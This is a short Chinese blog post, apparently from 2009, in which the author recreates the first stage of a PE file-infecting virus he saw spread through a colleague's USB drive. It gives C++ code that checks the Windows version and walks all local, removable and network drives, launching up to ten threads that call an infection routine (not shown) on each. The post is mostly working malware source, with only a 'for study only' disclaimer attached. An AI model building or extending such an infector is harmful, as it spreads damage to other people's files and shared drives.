前天某同事的U盘中毒,在10分钟内感染了近2G(大约一百个EXE安装文件,相当于5秒左右感染一个PE文件)。确实佩服这速度,于是WS32DSM反汇编,虽然我看不懂反汇编代码,但也只好硬着头皮揣摩一下思路并试试~~~

 

感染前需要遍历驱动驱动器,下面是自己山寨的一份:

 

1、判断操作系统

 

如果是Windows 98/Me/95/CE或以下的系统则直接退出:

 

/************************************************************************/ /* 函数说明:判断操作系统版本 /* 参 数:无 /* 返 回 值:NT以上版本的系统返回TRUE,失败返回FALSE /* By:Koma 2009.12.16 23:35 /************************************************************************/ BOOL CTestDlg::GetOSVersion() { DWORD dwVersion = 0; // 如果是Windows 98/Me/95以上的操作系统则返回TRUE dwVersion = GetVersion(); if (dwVersion < 0x80000000) { return TRUE; } return FALSE; }

 

2、遍历磁盘驱动器:

开始遍历全部的磁盘驱动器,包括本地磁盘、网络磁盘、移动磁盘:

/************************************************************************/ /* 函数说明:多线程感染全盘文件 /* 参 数:无 /* 返 回 值:无 /* By:Koma 2009.12.17 0:40 /************************************************************************/ void CTestDlg::EmuAllDisk() { CString strTemp; // 临时字符串 UINT revtype; // 磁盘类型 char name[5]= "C:"; // 磁盘名称 int nCount = 0; // 磁盘数量 HANDLE hThread[10]; // 最大启动十个磁盘感染线程 DWORD dwTid[10]; // 线程PID DiskInfo di; // 设置盘符名 for(BYTE i=0x42;i<0x5B;i=i+0x01) // 遍历所有盘符 { name[0]=i; revtype=GetDriveType(name); switch(revtype){ // 判断磁盘驱动器的属性 case DRIVE_FIXED: // 是否为本地磁盘 case DRIVE_REMOVABLE: // 是否为可移动磁盘 case DRIVE_REMOTE: // 是否为网络磁盘 if(nCount>10){ // 最大启动十个线程 nCount = 0; // 恢复计数器 Sleep(30000); // 休眠30秒 break; } strTemp.Format("%c",name[0]); strTemp = strTemp + ":"; // 磁盘字符串形式,如C: di.m_strName = strTemp; // 设置感染文件的绝对路径 hThread[nCount] = CreateThread (NULL, 0, ThreadInject,(LPVOID)(&di),NULL,&dwTid[nCount]); nCount++; break; } } }

 

以上代码的效率有待优化,希望能与你一起交流并提出宝贵的意见 !

 

(文章仅供学习交流,请不要用作非法用途,否则与本人、本站无关!)